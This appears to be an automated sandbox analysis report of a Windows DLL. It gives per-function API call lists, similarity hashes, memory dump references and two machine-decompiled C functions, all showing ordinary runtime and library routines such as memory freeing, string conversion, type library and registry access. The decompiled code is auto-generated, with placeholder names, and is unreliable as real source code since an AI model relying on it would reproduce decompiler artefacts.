GetLastError.KERNEL32(00000000,?,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED377B0
_com_issue_error.COMSUPP ref: 6ED377C3

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString__alloca_probe_16
String ID:
API String ID: 3079088546-0
Opcode ID: 1eb925988fed94b7c5ecd7f32c2c227224f12ff962798e517432703e84368be9
Instruction ID: 4bd48cdb38dfc8390ba11ae990ee400ddb88516f014d4e3208a8be07fc9c0fbf
Opcode Fuzzy Hash: 1eb925988fed94b7c5ecd7f32c2c227224f12ff962798e517432703e84368be9
Instruction Fuzzy Hash: 5141A6B1A00A25FBDB409FE8C844B9F7BA8EB4A714F304629E519E72C0D774D441CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48836, Relevance: 15.1, APIs: 10, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6ED48836(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x6ed5cce0;
				if(_t68 != 0x6ed5cce0) {
					E6ED48252(_t68);
					_t36 = _a4;
				}
				E6ED48252( *((intOrPtr*)(_t36 + 0x3c)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x30)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x34)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x38)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x28)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x2c)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x40)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x44)));
				E6ED48252( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E6ED4867E(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E6ED486DF(_t67, _t72, _t73, _t77);
			}

0x6ed48836
0x6ed48836
0x6ed48836
0x6ed4883b
0x6ed48841
0x6ed48843
0x6ed48849
0x6ed4884c
0x6ed48851
0x6ed48854
0x6ed48858
0x6ed48863
0x6ed4886e
0x6ed48879
0x6ed48884
0x6ed4888f
0x6ed4889a
0x6ed488a5
0x6ed488b3
0x6ed488be
0x6ed488c6
0x6ed488c7
0x6ed488ca
0x6ed488d0
0x6ed488d4
0x6ed488d8
0x6ed488d9
0x6ed488e3
0x6ed488e9
0x6ed488ea
0x6ed488ed
0x6ed488f3
0x6ed488f7
0x6ed488fb
0x6ed48904

APIs

_free.LIBCMT ref: 6ED4884C

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED48858
_free.LIBCMT ref: 6ED48863
_free.LIBCMT ref: 6ED4886E
_free.LIBCMT ref: 6ED48879
_free.LIBCMT ref: 6ED48884
_free.LIBCMT ref: 6ED4888F
_free.LIBCMT ref: 6ED4889A
_free.LIBCMT ref: 6ED488A5
_free.LIBCMT ref: 6ED488B3

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: de950a84b656d45e7fa7d3d23c05bf2dc9b56766ab53bc9d97d6603a2a6567da
Instruction ID: 9775fc725014a83397783cf710fe2da4dd27c91db11cdf4800beedf0a70257be
Opcode Fuzzy Hash: de950a84b656d45e7fa7d3d23c05bf2dc9b56766ab53bc9d97d6603a2a6567da
Instruction Fuzzy Hash: BE21857A940108EFCB41DFE4C980DDE7BB9FF58284F0149A6F9199B160EB31EA54CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53837, Relevance: 13.7, APIs: 9, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6ED53837(void* __edx, char _a4) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				signed int _t59;
				signed int _t68;
				signed int _t70;
				signed int _t73;
				signed int _t76;
				char _t81;
				intOrPtr* _t82;
				void* _t93;
				signed int _t96;
				char _t107;
				char _t108;
				void* _t113;
				char* _t114;
				signed int _t120;
				signed int* _t121;
				char _t123;
				intOrPtr* _t125;
				char* _t130;

				_t113 = __edx;
				_t123 = _a4;
				_v24 = _t123;
				_v20 = 0;
				if( *((intOrPtr*)(_t123 + 0xb0)) != 0 ||  *((intOrPtr*)(_t123 + 0xac)) != 0) {
					_v16 = 1;
					_t93 = E6ED4B406(1, 0x50);
					if(_t93 != 0) {
						_t96 = 0x14;
						memcpy(_t93,  *(_t123 + 0x88), _t96 << 2);
						_t125 = E6ED4828C(4);
						_t120 = 0;
						_v8 = _t125;
						E6ED48252(0);
						if(_t125 != 0) {
							 *_t125 = 0;
							_t123 = _a4;
							if( *((intOrPtr*)(_t123 + 0xb0)) == 0) {
								_t52 =  *0x6ed6d050; // 0x6ed6d0a4
								 *_t93 = _t52;
								_t53 =  *0x6ed6d054; // 0x6ed6ec60
								 *((intOrPtr*)(_t93 + 4)) = _t53;
								_t54 =  *0x6ed6d058; // 0x6ed6ec60
								 *((intOrPtr*)(_t93 + 8)) = _t54;
								_t55 =  *0x6ed6d080; // 0x6ed6d0a8
								 *((intOrPtr*)(_t93 + 0x30)) = _t55;
								_t56 =  *0x6ed6d084; // 0x6ed6ec64
								 *((intOrPtr*)(_t93 + 0x34)) = _t56;
								L19:
								 *_v8 = 1;
								if(_t120 != 0) {
									 *_t120 = 1;
								}
								goto L21;
							}
							_t121 = E6ED4828C(4);
							_v12 = _t121;
							E6ED48252(0);
							_push(_t93);
							if(_t121 != 0) {
								 *_t121 =  *_t121 & 0x00000000;
								_t122 =  *((intOrPtr*)(_t123 + 0xb0));
								_t68 = E6ED4DBB5(_t113);
								_t16 = _t93 + 4; // 0x4
								_t70 = E6ED4DBB5(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0xf, _t16,  &_v24);
								_t18 = _t93 + 8; // 0x8
								_t73 = E6ED4DBB5(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0x10, _t18, 1);
								_t76 = E6ED4DBB5(_t113,  &_v24, 2,  *((intOrPtr*)(_t123 + 0xb0)), 0xe, _t93 + 0x30, _t122);
								_t22 = _t93 + 0x34; // 0x34
								if((E6ED4DBB5(_t113,  &_v24, 2, _t122, 0xf, _t22, 0xe) | _t68 | _t70 | _t73 | _t76) == 0) {
									_t114 =  *((intOrPtr*)(_t93 + 8));
									while(1) {
										_t81 =  *_t114;
										if(_t81 == 0) {
											break;
										}
										_t30 = _t81 - 0x30; // -48
										_t107 = _t30;
										if(_t107 > 9) {
											if(_t81 != 0x3b) {
												L16:
												_t114 = _t114 + 1;
												continue;
											}
											_t130 = _t114;
											do {
												_t82 = _t130 + 1;
												_t108 =  *_t82;
												 *_t130 = _t108;
												_t130 = _t82;
											} while (_t108 != 0);
											continue;
										}
										 *_t114 = _t107;
										goto L16;
									}
									_t120 = _v12;
									_t123 = _a4;
									goto L19;
								}
								E6ED537CE(_t93);
								E6ED48252(_t93);
								E6ED48252(_v12);
								_v16 = _v16 | 0xffffffff;
								L12:
								E6ED48252(_v8);
								return _v16;
							}
							E6ED48252();
							goto L12;
						}
						E6ED48252(_t93);
						return 1;
					}
					return 1;
				} else {
					_t120 = 0;
					_v8 = 0;
					_t93 = 0x6ed6d050;
					L21:
					_t59 =  *(_t123 + 0x80);
					if(_t59 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t123 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t59 | 0xffffffff) == 0) {
							E6ED48252( *((intOrPtr*)(_t123 + 0x7c)));
							E6ED48252( *(_t123 + 0x88));
						}
					}
					 *((intOrPtr*)(_t123 + 0x7c)) = _v8;
					 *(_t123 + 0x80) = _t120;
					 *(_t123 + 0x88) = _t93;
					return 0;
				}
			}

0x6ed53837
0x6ed53841
0x6ed53847
0x6ed5384a
0x6ed53853
0x6ed53872
0x6ed5387a
0x6ed53880
0x6ed53893
0x6ed53894
0x6ed5389d
0x6ed5389f
0x6ed538a2
0x6ed538a5
0x6ed538ae
0x6ed538bf
0x6ed538c1
0x6ed538ca
0x6ed53a1c
0x6ed53a21
0x6ed53a23
0x6ed53a28
0x6ed53a2b
0x6ed53a30
0x6ed53a33
0x6ed53a38
0x6ed53a3b
0x6ed53a40
0x6ed539ac
0x6ed539b2
0x6ed539b6
0x6ed539b8
0x6ed539b8
0x00000000
0x6ed539b6
0x6ed538d7
0x6ed538db
0x6ed538de
0x6ed538e5
0x6ed538e8
0x6ed538f5
0x6ed538fb
0x6ed53907
0x6ed5390c
0x6ed5391b
0x6ed53922
0x6ed5392f
0x6ed53943
0x6ed5394d
0x6ed53964
0x6ed53990
0x6ed539a0
0x6ed539a0
0x6ed539a4
0x00000000
0x00000000
0x6ed53995
0x6ed53995
0x6ed5399b
0x6ed53a09
0x6ed5399f
0x6ed5399f
0x00000000
0x6ed5399f
0x6ed53a0b
0x6ed53a0d
0x6ed53a0d
0x6ed53a10
0x6ed53a12
0x6ed53a14
0x6ed53a16
0x00000000
0x6ed53a1a
0x6ed5399d
0x00000000
0x6ed5399d
0x6ed539a6
0x6ed539a9
0x00000000
0x6ed539a9
0x6ed53967
0x6ed5396d
0x6ed53975
0x6ed5397d
0x6ed53981
0x6ed53985
0x00000000
0x6ed5398d
0x6ed538ea
0x00000000
0x6ed538ef
0x6ed538b1
0x00000000
0x6ed538b9
0x00000000
0x6ed5385d
0x6ed5385d
0x6ed5385f
0x6ed53862
0x6ed539ba
0x6ed539ba
0x6ed539c2
0x6ed539c4
0x6ed539c4
0x6ed539cc
0x6ed539d1
0x6ed539d5
0x6ed539da
0x6ed539e5
0x6ed539eb
0x6ed539d5
0x6ed539ef
0x6ed539f4
0x6ed539fa
0x00000000
0x6ed539fa

APIs

_free.LIBCMT ref: 6ED538A5
_free.LIBCMT ref: 6ED538B1
_free.LIBCMT ref: 6ED539DA
_free.LIBCMT ref: 6ED539E5

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9cbedd4fa76939522a17c302217371a29577d2a3d4aeb2de9b4a0b314ec5b9e8
Instruction ID: 95cafea4ec9f53ce904a9d42805c91b33adf2c7f97daef26bf3c515877318858
Opcode Fuzzy Hash: 9cbedd4fa76939522a17c302217371a29577d2a3d4aeb2de9b4a0b314ec5b9e8
Instruction Fuzzy Hash: 7861C172904705EFDB50CFA9C884B9ABBF8EF55354F104969E955EB388EB30D9018FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED36D5F, Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 6ED36DA8
__alloca_probe_16.LIBCMT ref: 6ED36DD4
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 6ED36E13
LCMapStringEx.KERNEL32 ref: 6ED36E30
LCMapStringEx.KERNEL32 ref: 6ED36E6F
__alloca_probe_16.LIBCMT ref: 6ED36E8C
LCMapStringEx.KERNEL32 ref: 6ED36ECE
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6ED36EF1

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 8909d88ee64fb5f9a3d392a1aaefefa8d2ac3a2b65235987a44f188903e9c812
Instruction ID: ac02584a2eb2412f89516781cdaa90cc17e3db1550e5b4ae9bf4bd58dddb260b
Opcode Fuzzy Hash: 8909d88ee64fb5f9a3d392a1aaefefa8d2ac3a2b65235987a44f188903e9c812
Instruction Fuzzy Hash: FE518072520226EFEF10CFA4CC54FAF3BA9EF42754F214429F934AA190DB74C8558BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4A54F, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48A1F

_free.LIBCMT ref: 6ED4A85C
_free.LIBCMT ref: 6ED4A875
_free.LIBCMT ref: 6ED4A8B5
_free.LIBCMT ref: 6ED4A8BE
_free.LIBCMT ref: 6ED4A8CA

Strings

C, xrefs: 6ED4A6AB

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 52f15718c11ceee1659936afc33c08821299fff1f77043a7db564faf375a8f32
Instruction ID: be693e8968e0bd307b36cb6f00df16c047a8bb0a07508d70c46a699bba697d50
Opcode Fuzzy Hash: 52f15718c11ceee1659936afc33c08821299fff1f77043a7db564faf375a8f32
Instruction Fuzzy Hash: 74B15875A0162ADFDB24DF58C884A9DB7B4FF58304F1045AAE849A7390E730AE90CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2FE30, Relevance: 10.8, APIs: 7, Instructions: 263COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6ED6F328,3F169FAE), ref: 6ED2FE8D
GetModuleFileNameW.KERNEL32(?,00000104), ref: 6ED2FF10
LoadTypeLib.OLEAUT32(?,00000000), ref: 6ED2FF37
LoadRegTypeLib.OLEAUT32(6ED664B8,00000000,00000000,?,00000000), ref: 6ED2FF52
EnterCriticalSection.KERNEL32(6ED6F344), ref: 6ED30115
LeaveCriticalSection.KERNEL32(6ED6F344), ref: 6ED3012B

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLoadType$FileLeaveModuleName
String ID:
API String ID: 1976781235-0
Opcode ID: e275ff4d415c4070d5e1ab61386cafbab845333d41b9ffcab8272ae86f3793ca
Instruction ID: eec151d5660e00ca9994856158ba4061a8a3f2b914f7bdaaaeeb78b70a952429
Opcode Fuzzy Hash: e275ff4d415c4070d5e1ab61386cafbab845333d41b9ffcab8272ae86f3793ca
Instruction Fuzzy Hash: 36B19D74905629EFEB50CFA4C858BAAB7B5AF4A304F2044D9E808EB381D735DE45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2DCB0, Relevance: 10.7, APIs: 7, Instructions: 163libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060), ref: 6ED2DD3D
LoadLibraryExW.KERNEL32(?,00000000,00000002), ref: 6ED2DD4F
FindResourceW.KERNEL32(00000000,?,?), ref: 6ED2DD76
LoadResource.KERNEL32(00000000,00000000), ref: 6ED2DD8E

Part of subcall function 6ED2D340: GetLastError.KERNEL32(80070057,8007000E,80004005), ref: 6ED2D340

FreeLibrary.KERNEL32(00000000,00000000,?), ref: 6ED2DE7F

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$Resource$ErrorFindFreeLast
String ID:
API String ID: 328770362-0
Opcode ID: ac1c19dd31bdb2946a146e9c35ccd841dac150fd7a0a9802c6581bb230409552
Instruction ID: c313eb8ce0705910811f68f0e601ce7ee6a3dd9f3f1e2256a22617d5d320dc0f
Opcode Fuzzy Hash: ac1c19dd31bdb2946a146e9c35ccd841dac150fd7a0a9802c6581bb230409552
Instruction Fuzzy Hash: 4E51C3B1A00619DFDB21CF94CC40B9EB7B9EF99718F504179F708A7280DB349A458F69

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37520, Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,6ED2ABAD,6ED2ABAC,00000000,00000000,00000000,00000000,3F169FAE,00000000,?,00000000,6ED2ABAD,?,?), ref: 6ED37593
WideCharToMultiByte.KERNEL32(00000000,00000000,6ED2ABAD,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 6ED375CA

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 293770aa875001ebd7288a9e0f29d4917efd1ab81726de45ac15efacb3fc00c3
Instruction ID: 652755715b008f169c2f07c352142996aab36e061e8b363663988d66dbb6ee3c
Opcode Fuzzy Hash: 293770aa875001ebd7288a9e0f29d4917efd1ab81726de45ac15efacb3fc00c3
Instruction Fuzzy Hash: 71312C72A04A15FBE714CBA48C05FAB77ACEB46B10F304629F905DB2C0D736E501C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED322B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,00000024,00000000), ref: 6ED32340
GetWindowLongW.USER32 ref: 6ED32354
CallWindowProcW.USER32(?,?,00000082,00000024,00000000), ref: 6ED3236A
GetWindowLongW.USER32 ref: 6ED32383
SetWindowLongW.USER32(?,000000FC,?), ref: 6ED32392

Strings

$, xrefs: 6ED322F4

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: e851b197254dc21669990f7673a212cbf61b068c27b4ee2b3e9973e74740b6e3
Instruction ID: 06e70dbd7790d2e13f779cb6ba8f3dd8a4cee5108ddbfe47e0f01fde576fc32b
Opcode Fuzzy Hash: e851b197254dc21669990f7673a212cbf61b068c27b4ee2b3e9973e74740b6e3
Instruction Fuzzy Hash: B8411871900618EFDB10CF99C984A9EFBF5FF49314F208A1DE596A76A0D731A914CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2D510, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,3F169FAE), ref: 6ED2D564
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6ED2D57B
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,00000000,3F169FAE), ref: 6ED2D5B0
RegCloseKey.ADVAPI32(00000000), ref: 6ED2D5C3

Strings

Advapi32.dll, xrefs: 6ED2D55F
RegOpenKeyTransactedW, xrefs: 6ED2D575

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 452d38bd2e391d262b7a094d891701ed8b6cd0e9493d6fb03c56258072991b93
Instruction ID: ccc5d2efeb8dcfb0e8a983a565fa1e2971933d93a1724ca258f22dd09ce370d9
Opcode Fuzzy Hash: 452d38bd2e391d262b7a094d891701ed8b6cd0e9493d6fb03c56258072991b93
Instruction Fuzzy Hash: 25316171A04616EFEB00CFA9CC54BABBBB9EF4A718F104529F9159B284D775D900CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27BD0, Relevance: 10.6, APIs: 7, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6ED27BEE
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED27BFC
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6ED27C11
SysFreeString.OLEAUT32(00000000), ref: 6ED27C1C
VarBstrCmp.OLEAUT32(?,00000000,00000400,00000000), ref: 6ED27C3B
SysFreeString.OLEAUT32(00000000), ref: 6ED27C48
SysFreeString.OLEAUT32 ref: 6ED27C72

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstr
String ID:
API String ID: 1801994256-0
Opcode ID: 11ee3452025eb2a18fe9a1029557679a9689f19185b44a8b6ff61c436a58314d
Instruction ID: 95b5b55c8bef01a15a646a5fdc4ed6af220ec45b9be399372c219505e9c67dde
Opcode Fuzzy Hash: 11ee3452025eb2a18fe9a1029557679a9689f19185b44a8b6ff61c436a58314d
Instruction Fuzzy Hash: 63112B31644636FFFB2107B98C09F5A7B68EB47B28F200264FB18BA2C0D6639D05D5B4

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4CB41, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 6ED4CB98
ext-ms-, xrefs: 6ED4CBAC

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 4d84ba73f8a2f3f4ce3d8ca79f17632e667afec37b0888b4857ad4c5296d1072
Instruction ID: 647ec2b45ab1a32790c14a5a099e866cce24026af669e2a4bfe78c8b203c51d0
Opcode Fuzzy Hash: 4d84ba73f8a2f3f4ce3d8ca79f17632e667afec37b0888b4857ad4c5296d1072
Instruction Fuzzy Hash: 6A21D572A45625EFFB518BE98C90A4A77689B22760F310615FC59AF380D630D809C9E0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53CFE, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6ED53A48: _free.LIBCMT ref: 6ED53A6D

_free.LIBCMT ref: 6ED53D4C

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED53D57
_free.LIBCMT ref: 6ED53D62
_free.LIBCMT ref: 6ED53DB6
_free.LIBCMT ref: 6ED53DC1
_free.LIBCMT ref: 6ED53DCC
_free.LIBCMT ref: 6ED53DD7

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction ID: 1ccfd9ad73f28edbc14c947c8fa2cbf905252879832d7daa6ceeb190ceb8600d
Opcode Fuzzy Hash: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction Fuzzy Hash: 29118671980B04FADE21ABF0DC49FCB779CAF40B08F404C29B29966294DB76F51557B0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4E483, Relevance: 9.3, APIs: 6, Instructions: 319fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6ED4E4CB
__fassign.LIBCMT ref: 6ED4E6AA
__fassign.LIBCMT ref: 6ED4E6C7
WriteFile.KERNEL32(?,6ED4685B,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6ED4E70F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6ED4E74F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6ED4E7FB

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
